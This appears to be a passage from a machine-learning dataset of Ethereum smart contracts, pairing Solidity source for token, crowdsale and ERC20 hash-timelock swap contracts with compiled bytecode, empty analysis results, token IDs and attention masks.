(uint256) { if (supplyDelta == 0) { emit LogRebase(epoch, _totalSupply); return _totalSupply; } _totalSupply = _totalSupply.sub(supplyDelta); if (_totalSupply > MAX_SUPPLY) { _totalSupply = MAX_SUPPLY; } _gonsPerFragment = TOTAL_GONS.div(_totalSupply); emit LogRebase(epoch, _totalSupply); return _totalSupply; } constructor() public override { _owner = msg.sender; _totalSupply = INITIAL_FRAGMENTS_SUPPLY; _gonBalances[_owner] = TOTAL_GONS; _gonsPerFragment = TOTAL_GONS.div(_totalSupply); emit Transfer(address(0x0), _owner, _totalSupply); } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address who) public view returns (uint256) { return _gonBalances[who].div(_gonsPerFragment); } function transfer(address to, uint256 value) public validRecipient(to) returns (bool) { uint256 gonValue = value.mul(_gonsPerFragment); _gonBalances[msg.sender] = _gonBalances[msg.sender].sub(gonValue); _gonBalances[to] = _gonBalances[to].add(gonValue); emit Transfer(msg.sender, to, value); return true; } function allowance(address owner_, address spender) public view returns (uint256) { return _allowedFragments[owner_][spender]; } function transferFrom(address from, address to, uint256 value) public validRecipient(to) returns (bool) { _allowedFragments[from][msg.sender] = _allowedFragments[from][msg.sender].sub(value); uint256 gonValue = value.mul(_gonsPerFragment); _gonBalances[from] = _gonBalances[from].sub(gonValue); _gonBalances[to] = _gonBalances[to].add(gonValue); emit Transfer(from, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { _allowedFragments[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _allowedFragments[msg.sender][spender] = _allowedFragments[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { uint256 oldValue = _allowedFragments[msg.sender][spender]; if (subtractedValue >= oldValue) { _allowedFragments[msg.sender][spender] = 0; } else { _allowedFragments[msg.sender][spender] = oldValue.sub(subtractedValue); } emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]); return true; } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a9059cbb11610066578063a9059cbb146102f1578063b2bdfa7b1461031d578063dd62ed3e14610325578063f2fde38b1461035357610100565b8063715018a61461028f5780638da5cb5b1461029957806395d89b41146102bd578063a457c2d7146102c557610100565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610235578063395093511461023d57806370a082311461026957610100565b8063058ecdb41461010557806306fdde031461013a578063095ea7b3146101b757806318160ddd146101f7575b600080fd5b6101286004803603604081101561011b57600080fd5b5080359060200135610379565b60408051918252519081900360200190f35b6101426104b0565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017c578181015183820152602001610164565b50505050905090810190601f1680156101a95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101e3600480360360408110156101cd57600080fd5b506001600160a01b0381351690602001356104dc565b604080519115158252519081900360200190f35b610128610542565b6101e36004803603606081101561021557600080fd5b506001600160a01b03813581169160208101359091169060400135610548565b610128610694565b6101e36004803603604081101561025357600080fd5b506001600160a01b038135169060200135610699565b6101286004803603602081101561027f57600080fd5b50356001600160a01b0316610732565b610297610760565b005b6102a1610809565b604080516001600160a01b039092168252519081900360200190f35b610142610818565b6101e3600480360360408110156102db57600080fd5b506001600160a01b038135169060200135610838565b6101e36004803603604081101561030757600080fd5b506001600160a01b038135169060200135610927565b6102a1610a0c565b6101286004803603604081101561033b57600080fd5b506001600160a01b0381358116916020013516610a1b565b6102976004803603602081101561036957600080fd5b50356001600160a01b0316610a46565b600080546001600160a01b031633146103d9576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b8161041f57600154604080519182525184917f72725a3b1e5bd622d6bcd1339bb31279c351abe8f541ac7fd320f24e1b1641f2919081900360200190a2506001546104aa565b600154610432908363ffffffff610b4516565b60018190556001600160801b031015610451576001600160801b036001555b60015461046a9069085afffa6ff50bffffff1990610b8e565b600255600154604080519182525184917f72725a3b1e5bd622d6bcd1339bb31279c351abe8f541ac7fd320f24e1b1641f2919081900360200190a2506001545b92915050565b6040518060400160405280601081526020016f21b7b932902b30bab63a1021b430b4b760811b81525081565b3360008181526004602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b6000826001600160a01b03811630141561056157600080fd5b6001600160a01b0385166000908152600460209081526040808320338452909152902054610595908463ffffffff610b4516565b6001600160a01b03861660009081526004602090815260408083203384529091528120919091556002546105d090859063ffffffff610bd016565b6001600160a01b0387166000908152600360205260409020549091506105fc908263ffffffff610b4516565b6001600160a01b038088166000908152600360205260408082209390935590871681522054610631908263ffffffff610c2916565b6001600160a01b0380871660008181526003602090815260409182902094909455805188815290519193928a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350600195945050505050565b601281565b3360009081526004602090815260408083206001600160a01b03861684529091528120546106cd908363ffffffff610c2916565b3360008181526004602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b6002546001600160a01b03821660009081526003602052604081205490916104aa919063ffffffff610b8e16565b6000546001600160a01b031633146107bf576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60405180604001604052806004815260200163434f564360e01b81525081565b3360009081526004602090815260408083206001600160a01b038616845290915281205480831061088c573360009081526004602090815260408083206001600160a01b03881684529091528120556108c1565b61089c818463ffffffff610b4516565b3360009081526004602090815260408083206001600160a01b03891684529091529020555b3360008181526004602090815260408083206001600160a01b0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6000826001600160a01b03811630141561094057600080fd5b600061095760025485610bd090919063ffffffff16565b3360009081526003602052604090205490915061097a908263ffffffff610b4516565b33600090815260036020526040808220929092556001600160a01b038716815220546109ac908263ffffffff610c2916565b6001600160a01b0386166000818152600360209081526040918290209390935580518781529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3506001949350505050565b6000546001600160a01b031681565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b03163314610aa5576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b038116610aea5760405162461bcd60e51b8152600401808060200182810382526026815260200180610d806026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000610b8783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c83565b9392505050565b6000610b8783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610d1a565b600082610bdf575060006104aa565b82820282848281610bec57fe5b0414610b875760405162461bcd60e51b8152600401808060200182810382526021815260200180610da66021913960400191505060405180910390fd5b600082820183811015610b87576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60008184841115610d125760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610cd7578181015183820152602001610cbf565b50505050905090810190601f168015610d045780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183610d695760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610cd7578181015183820152602001610cbf565b506000838581610d7557fe5b049594505050505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220e9d0f95cd22928f8625e083ad8b3f2189e09173bcd6c20b74dbed8798fc5338064736f6c63430006000033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 21084, 6679, 2509, 3676, 17134, 16932, 10790, 22203, 12740, 4215, 2497, 22203, 2278, 2629, 2094, 2620, 11387, 22610, 2497, 2094, 2692, 22275, 19797, 10322, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1020, 1012, 1014, 1025, 3075, 3647, 18900, 2232, 1063, 3853, 5587, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1009, 1038, 1025, 5478, 1006, 1039, 1028, 1027, 1037, 1010, 1000, 3647, 18900, 2232, 1024, 2804, 2058, 12314, 1000, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2709, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,150
0x964b943cf21a9f8987d80f9143955d7aed14f78a
// SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.6; import "./TransferHelper.sol"; // @title Hash timelock contract for ERC20 tokens contract ERC20Swap { // State variables /// @dev Version of the contract used for compatibility checks uint8 constant public version = 2; /// @dev Mapping between value hashes of swaps and whether they have Ether locked in the contract mapping (bytes32 => bool) public swaps; // Events event Lockup( bytes32 indexed preimageHash, uint256 amount, address tokenAddress, address claimAddress, address indexed refundAddress, uint timelock ); event Claim(bytes32 indexed preimageHash, bytes32 preimage); event Refund(bytes32 indexed preimageHash); // Functions // External functions /// Locks tokens for a swap in the contract and forwards a specified amount of Ether to the claim address /// @notice The amount of Ether forwarded to the claim address is the amount sent in the transaction and the refund address is the sender of the transaction /// @dev Make sure to set a reasonable gas limit for calling this function, else a malicious contract at the claim address could drain your Ether /// @param preimageHash Preimage hash of the swap /// @param amount Amount that should be locked in the contract in the smallest denomination of the token /// @param tokenAddress Address of the token that should be locked in the contract /// @param claimAddress Address that can claim the locked tokens /// @param timelock Block height after which the locked tokens can be refunded function lockPrepayMinerfee( bytes32 preimageHash, uint256 amount, address tokenAddress, address payable claimAddress, uint timelock ) external payable { lock(preimageHash, amount, tokenAddress, claimAddress, timelock); // Forward the amount of Ether sent in the transaction to the claim address TransferHelper.transferEther(claimAddress, msg.value); } /// Claims tokens locked in the contract /// @dev To query the arguments of this function, get the "Lockup" event logs for the SHA256 hash of the preimage /// @param preimage Preimage of the swap /// @param amount Amount locked in the contract for the swap in the smallest denomination of the token /// @param tokenAddress Address of the token locked for the swap /// @param refundAddress Address that locked the tokens in the contract /// @param timelock Block height after which the locked tokens can be refunded function claim( bytes32 preimage, uint amount, address tokenAddress, address refundAddress, uint timelock ) external { // If the preimage is wrong, so will be its hash which will result in a wrong value hash and no swap being found bytes32 preimageHash = sha256(abi.encodePacked(preimage)); // Passing "msg.sender" as "claimAddress" to "hashValues" ensures that only the destined address can claim // All other addresses would produce a different hash for which no swap can be found in the "swaps" mapping bytes32 hash = hashValues( preimageHash, amount, tokenAddress, msg.sender, refundAddress, timelock ); // Make sure that the swap to be claimed has tokens locked checkSwapIsLocked(hash); // Delete the swap from the mapping to ensure that it cannot be claimed or refunded anymore // This *HAS* to be done before actually sending the tokens to avoid reentrancy // Reentrancy is a bigger problem when sending Ether but there is no real downside to deleting from the mapping first delete swaps[hash]; // Emit the "Claim" event emit Claim(preimageHash, preimage); // Transfer the tokens to the claim address TransferHelper.safeTransferToken(tokenAddress, msg.sender, amount); } /// Refunds tokens locked in the contract /// @dev To query the arguments of this function, get the "Lockup" event logs for your refund address and the preimage hash if you have it /// @dev For further explanations and reasoning behind the statements in this function, check the "claim" function /// @param preimageHash Preimage hash of the swap /// @param amount Amount locked in the contract for the swap in the smallest denomination of the token /// @param tokenAddress Address of the token locked for the swap /// @param claimAddress Address that that was destined to claim the funds /// @param timelock Block height after which the locked Ether can be refunded function refund( bytes32 preimageHash, uint amount, address tokenAddress, address claimAddress, uint timelock ) external { // Make sure the timelock has expired already // If the timelock is wrong, so will be the value hash of the swap which results in no swap being found require(timelock <= block.number, "ERC20Swap: swap has not timed out yet"); bytes32 hash = hashValues( preimageHash, amount, tokenAddress, claimAddress, msg.sender, timelock ); checkSwapIsLocked(hash); delete swaps[hash]; emit Refund(preimageHash); TransferHelper.safeTransferToken(tokenAddress, msg.sender, amount); } // Public functions /// Locks tokens in the contract /// @notice The refund address is the sender of the transaction /// @dev This function is "public" so that it can be called from the outside and "lockPrepayMinerfee" function /// @param preimageHash Preimage hash of the swap /// @param amount Amount to be locked in the contract /// @param tokenAddress Address of the token to be locked /// @param claimAddress Address that can claim the locked tokens /// @param timelock Block height after which the locked tokens can be refunded function lock( bytes32 preimageHash, uint256 amount, address tokenAddress, address claimAddress, uint timelock ) public { // Locking zero tokens in the contract is pointless require(amount > 0, "ERC20Swap: locked amount must not be zero"); // Transfer the specified amount of tokens from the sender of the transaction to the contract TransferHelper.safeTransferTokenFrom(tokenAddress, msg.sender, address(this), amount); // Hash the values of the swap bytes32 hash = hashValues( preimageHash, amount, tokenAddress, claimAddress, msg.sender, timelock ); // Make sure no swap with this value hash exists yet require(swaps[hash] == false, "ERC20Swap: swap exists already"); // Save to the state that funds were locked for this swap swaps[hash] = true; // Emit the "Lockup" event emit Lockup(preimageHash, amount, tokenAddress, claimAddress, msg.sender, timelock); } /// Hashes all the values of a swap with Keccak256 /// @param preimageHash Preimage hash of the swap /// @param amount Amount the swap has locked in the smallest denomination of the token /// @param tokenAddress Address of the token of the swap /// @param claimAddress Address that can claim the locked tokens /// @param refundAddress Address that locked the tokens and can refund them /// @param timelock Block height after which the locked tokens can be refunded /// @return Value hash of the swap function hashValues( bytes32 preimageHash, uint256 amount, address tokenAddress, address claimAddress, address refundAddress, uint timelock ) public pure returns (bytes32) { return keccak256(abi.encodePacked( preimageHash, amount, tokenAddress, claimAddress, refundAddress, timelock )); } // Private functions /// Checks whether a swap has tokens locked in the contract /// @dev This function reverts if the swap has no tokens locked in the contract /// @param hash Value hash of the swap function checkSwapIsLocked(bytes32 hash) private view { require(swaps[hash] == true, "ERC20Swap: swap has no tokens locked in the contract"); } } // SPDX-License-Identifier: GPL-3.0-or-later // Copyright 2020 Uniswap team // Based on: https://github.com/Uniswap/uniswap-lib/blob/master/contracts/libraries/TransferHelper.sol pragma solidity 0.7.6; library TransferHelper { /// Transfers Ether to an address /// @dev This function reverts if transferring the Ether fails /// @dev Please note that ".call" forwards all leftover gas which means that sending Ether to accounts and contract is possible but also that you should specify or sanity check the gas limit /// @param to Address to which the Ether should be sent /// @param amount Amount of Ether to send in WEI function transferEther(address payable to, uint amount) internal { (bool success, ) = to.call{value: amount}(""); require(success, "TransferHelper: could not transfer Ether"); } /// Transfers token to an address /// @dev This function reverts if transferring the tokens fails /// @dev This function supports non standard ERC20 tokens that have a "transfer" method that does not return a boolean /// @param token Address of the token /// @param to Address to which the tokens should be transferred /// @param value Amount of token that should be transferred in the smallest denomination of the token function safeTransferToken(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), "TransferHelper: could not transfer ERC20 tokens" ); } /// Transfers token from one address to another /// @dev This function reverts if transferring the tokens fails /// @dev This function supports non standard ERC20 tokens that have a "transferFrom" method that does not return a boolean /// @dev Keep in mind that "transferFrom" requires an allowance of the "from" address for the caller that is equal or greater than the "value" /// @param token Address of the token /// @param from Address from which the tokens should be transferred /// @param to Address to which the tokens should be transferred /// @param value Amount of token that should be transferred in the smallest denomination of the token function safeTransferTokenFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), "TransferHelper: could not transferFrom ERC20 tokens" ); } }
0x6080604052600436106100705760003560e01c806391644b2b1161004e57806391644b2b14610158578063b8080ab8146101a7578063cd413efa146101e9578063eb84e7f21461023857610070565b8063365047211461007557806354fd4d50146100c65780637beb9d6d146100f1575b600080fd5b34801561008157600080fd5b506100c4600480360360a081101561009857600080fd5b508035906020810135906001600160a01b03604082013581169160608101359091169060800135610276565b005b3480156100d257600080fd5b506100db610320565b6040805160ff9092168252519081900360200190f35b3480156100fd57600080fd5b50610146600480360360c081101561011457600080fd5b508035906020810135906001600160a01b03604082013581169160608101358216916080820135169060a00135610325565b60408051918252519081900360200190f35b34801561016457600080fd5b506100c4600480360360a081101561017b57600080fd5b508035906020810135906001600160a01b0360408201358116916060810135909116906080013561038c565b6100c4600480360360a08110156101bd57600080fd5b508035906020810135906001600160a01b036040820135811691606081013590911690608001356104c6565b3480156101f557600080fd5b506100c4600480360360a081101561020c57600080fd5b508035906020810135906001600160a01b036040820135811691606081013590911690608001356104e4565b34801561024457600080fd5b506102626004803603602081101561025b57600080fd5b5035610608565b604080519115158252519081900360200190f35b438111156102b55760405162461bcd60e51b81526004018080602001828103825260258152602001806109a86025913960400191505060405180910390fd5b60006102c5868686863387610325565b90506102d08161061d565b600081815260208190526040808220805460ff191690555187917f3fbd469ec3a5ce074f975f76ce27e727ba21c99176917b97ae2e713695582a1291a2610318843387610672565b505050505050565b600281565b6040805160208082018990528183018890526bffffffffffffffffffffffff19606088811b82168185015287811b8216607485015286901b166088830152609c8083018590528351808403909101815260bc90920190925280519101209695505050505050565b600084116103cb5760405162461bcd60e51b8152600401808060200182810382526029815260200180610a286029913960400191505060405180910390fd5b6103d7833330876107be565b60006103e7868686863387610325565b60008181526020819052604090205490915060ff161561044e576040805162461bcd60e51b815260206004820152601e60248201527f4552433230537761703a20737761702065786973747320616c72656164790000604482015290519081900360640190fd5b60008181526020818152604091829020805460ff1916600117905581518781526001600160a01b038781169282019290925290851681830152606081018490529051339188917fa98eaa2bd8230d87a1a4c356f5c1d41cb85ff88131122ec8b1931cb9d31ae1459181900360800190a3505050505050565b6104d3858585858561038c565b6104dd8234610912565b5050505050565b6000600286604051602001808281526020019150506040516020818303038152906040526040518082805190602001908083835b602083106105375780518252601f199092019160209182019101610518565b51815160209384036101000a60001901801990921691161790526040519190930194509192505080830381855afa158015610576573d6000803e3d6000fd5b5050506040513d602081101561058b57600080fd5b50519050600061059f828787338888610325565b90506105aa8161061d565b60008181526020818152604091829020805460ff191690558151898152915184927f5664142af3dcfc3dc3de45a43f75c746bd1d8c11170a5037fdf98bdb3577513792908290030190a26105ff853388610672565b50505050505050565b60006020819052908152604090205460ff1681565b60008181526020819052604090205460ff16151560011461066f5760405162461bcd60e51b8152600401808060200182810382526034815260200180610a806034913960400191505060405180910390fd5b50565b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b1781529251825160009485949389169392918291908083835b602083106106ee5780518252601f1990920191602091820191016106cf565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610750576040519150601f19603f3d011682016040523d82523d6000602084013e610755565b606091505b5091509150818015610783575080511580610783575080806020019051602081101561078057600080fd5b50515b6104dd5760405162461bcd60e51b815260040180806020018281038252602f815260200180610a51602f913960400191505060405180910390fd5b604080516001600160a01b0385811660248301528481166044830152606480830185905283518084039091018152608490920183526020820180516001600160e01b03166323b872dd60e01b178152925182516000948594938a169392918291908083835b602083106108425780518252601f199092019160209182019101610823565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146108a4576040519150601f19603f3d011682016040523d82523d6000602084013e6108a9565b606091505b50915091508180156108d75750805115806108d757508080602001905160208110156108d457600080fd5b50515b6103185760405162461bcd60e51b81526004018080602001828103825260338152602001806109cd6033913960400191505060405180910390fd5b6040516000906001600160a01b0384169083908381818185875af1925050503d806000811461095d576040519150601f19603f3d011682016040523d82523d6000602084013e610962565b606091505b50509050806109a25760405162461bcd60e51b8152600401808060200182810382526028815260200180610a006028913960400191505060405180910390fd5b50505056fe4552433230537761703a207377617020686173206e6f742074696d6564206f7574207965745472616e7366657248656c7065723a20636f756c64206e6f74207472616e7366657246726f6d20455243323020746f6b656e735472616e7366657248656c7065723a20636f756c64206e6f74207472616e736665722045746865724552433230537761703a206c6f636b656420616d6f756e74206d757374206e6f74206265207a65726f5472616e7366657248656c7065723a20636f756c64206e6f74207472616e7366657220455243323020746f6b656e734552433230537761703a207377617020686173206e6f20746f6b656e73206c6f636b656420696e2074686520636f6e7472616374a2646970667358221220b93c5162af41633270ff90964b665ac38b801368b1def85b4c90767b1247e47964736f6c63430007060033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 21084, 2497, 2683, 23777, 2278, 2546, 17465, 2050, 2683, 2546, 2620, 2683, 2620, 2581, 2094, 17914, 2546, 2683, 16932, 23499, 24087, 2094, 2581, 6679, 2094, 16932, 2546, 2581, 2620, 2050, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 12943, 24759, 1011, 1017, 1012, 1014, 1011, 2030, 1011, 2101, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1021, 1012, 1020, 1025, 12324, 1000, 1012, 1013, 4651, 16001, 4842, 1012, 14017, 1000, 1025, 1013, 1013, 1030, 2516, 23325, 2051, 7878, 3206, 2005, 9413, 2278, 11387, 19204, 2015, 3206, 9413, 2278, 11387, 26760, 9331, 1063, 1013, 1013, 2110, 10857, 1013, 1013, 1013, 1030, 16475, 2544, 1997, 1996, 3206, 2109, 2005, 21778, 14148, 21318, 3372, 2620, 5377, 2270, 2544, 1027, 1016, 1025, 1013, 1013, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,151
0x964bc602ee118f13090c69a670032e506d66f457
pragma solidity ^0.4.18; contract Owned { address public owner; modifier onlyOwner() { require(msg.sender == owner); _; } function Owned() public{ owner = msg.sender; } function changeOwner(address _newOwner) public onlyOwner { owner = _newOwner; } } contract tokenRecipient { function receiveApproval (address _from, uint256 _value, address _token, bytes _extraData) public; } contract ERC20Token { uint256 public totalSupply; function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract DASABI_IO_Contract is ERC20Token, Owned{ /* Public variables of the token */ string public constant name = "dasabi.io DSBI"; string public constant symbol = "DSBI"; uint256 public constant decimals = 18; uint256 private constant etherChange = 10**18; /* Variables of the token */ uint256 public totalSupply; uint256 public totalRemainSupply; uint256 public ExchangeRate; uint256 public CandyRate; bool public crowdsaleIsOpen; bool public CandyDropIsOpen; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowances; mapping (address => bool) public blacklist; address public multisigAddress; /* Events */ event mintToken(address indexed _to, uint256 _value); event burnToken(address indexed _from, uint256 _value); function () payable public { require (crowdsaleIsOpen == true); if (msg.value > 0) { mintDSBIToken(msg.sender, (msg.value * ExchangeRate * 10**decimals) / etherChange); } if(CandyDropIsOpen){ if(!blacklist[msg.sender]){ mintDSBIToken(msg.sender, CandyRate * 10**decimals); blacklist[msg.sender] = true; } } } /* Initializes contract and sets restricted addresses */ function DASABI_IO_Contract() public { owner = msg.sender; totalSupply = 1000000000 * 10**decimals; ExchangeRate = 50000; CandyRate = 50; totalRemainSupply = totalSupply; crowdsaleIsOpen = true; CandyDropIsOpen = true; } function setExchangeRate(uint256 _ExchangeRate) public onlyOwner { ExchangeRate = _ExchangeRate; } function crowdsaleOpen(bool _crowdsaleIsOpen) public onlyOwner{ crowdsaleIsOpen = _crowdsaleIsOpen; } function CandyDropOpen(bool _CandyDropIsOpen) public onlyOwner{ CandyDropIsOpen = _CandyDropIsOpen; } /* Returns total supply of issued tokens */ function totalDistributed() public constant returns (uint256) { return totalSupply - totalRemainSupply ; } /* Returns balance of address */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } /* Transfers tokens from your address to other */ function transfer(address _to, uint256 _value) public returns (bool success) { require (balances[msg.sender] >= _value); // Throw if sender has insufficient balance require (balances[_to] + _value > balances[_to]); // Throw if owerflow detected balances[msg.sender] -= _value; // Deduct senders balance balances[_to] += _value; // Add recivers blaance Transfer(msg.sender, _to, _value); // Raise Transfer event return true; } /* Approve other address to spend tokens on your account */ function approve(address _spender, uint256 _value) public returns (bool success) { allowances[msg.sender][_spender] = _value; // Set allowance Approval(msg.sender, _spender, _value); // Raise Approval event return true; } /* Approve and then communicate the approved contract in a single tx */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); // Cast spender to tokenRecipient contract approve(_spender, _value); // Set approval to contract for _value spender.receiveApproval(msg.sender, _value, this, _extraData); // Raise method on _spender contract return true; } /* A contract attempts to get the coins */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require (balances[_from] > _value); // Throw if sender does not have enough balance require (balances[_to] + _value > balances[_to]); // Throw if overflow detected require (_value <= allowances[_from][msg.sender]); // Throw if you do not have allowance balances[_from] -= _value; // Deduct senders balance balances[_to] += _value; // Add recipient blaance allowances[_from][msg.sender] -= _value; // Deduct allowance for this address Transfer(_from, _to, _value); // Raise Transfer event return true; } /* Get the amount of allowed tokens to spend */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowances[_owner][_spender]; } /*withdraw Ether to a multisig address*/ function withdraw(address _multisigAddress) public onlyOwner { require(_multisigAddress != 0x0); multisigAddress = _multisigAddress; multisigAddress.transfer(this.balance); } /* Issue new tokens */ function mintDSBIToken(address _to, uint256 _amount) internal { require (balances[_to] + _amount > balances[_to]); // Check for overflows require (totalRemainSupply > _amount); totalRemainSupply -= _amount; // Update total supply balances[_to] += _amount; // Set minted coins to target mintToken(_to, _amount); // Create Mint event Transfer(0x0, _to, _amount); // Create Transfer event from 0x } function mintTokens(address _sendTo, uint256 _sendAmount)public onlyOwner { mintDSBIToken(_sendTo, _sendAmount); } /* Destroy tokens from owners account */ function burnTokens(uint256 _amount)public onlyOwner { require (balances[msg.sender] > _amount); // Throw if you do not have enough balance totalRemainSupply += _amount; // Deduct totalSupply balances[msg.sender] -= _amount; // Destroy coins on senders wallet burnToken(msg.sender, _amount); // Raise Burn event } }
0x606060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461027d578063095ea7b31461030b57806318160ddd1461036557806323b872dd1461038e5780632c5e52d1146104075780632f37790214610434578063313ce5671461045957806332cd0b3d146104825780634438c8ab146104ab57806351cff8d9146104d45780635462870d1461050d5780636d1b229d1461056257806370a082311461058557806383349122146105d25780638da5cb5b146105ff57806395d89b4114610654578063a6f9dae1146106e2578063a9059cbb1461071b578063c1a12d6614610775578063cae9ca511461079a578063db068e0e14610837578063dd62ed3e1461085a578063efca2eed146108c6578063f0dda65c146108ef578063f1c7689e14610931578063f9f92be41461095a575b60011515600660009054906101000a900460ff16151514151561017657600080fd5b60003411156101a7576101a633670de0b6b3a76400006012600a0a6004543402028115156101a057fe5b046109ab565b5b600660019054906101000a900460ff161561027b57600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561027a57610221336012600a0a600554026109ab565b6001600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b005b341561028857600080fd5b610290610b48565b604051808060200182810382528381815181526020019150805190602001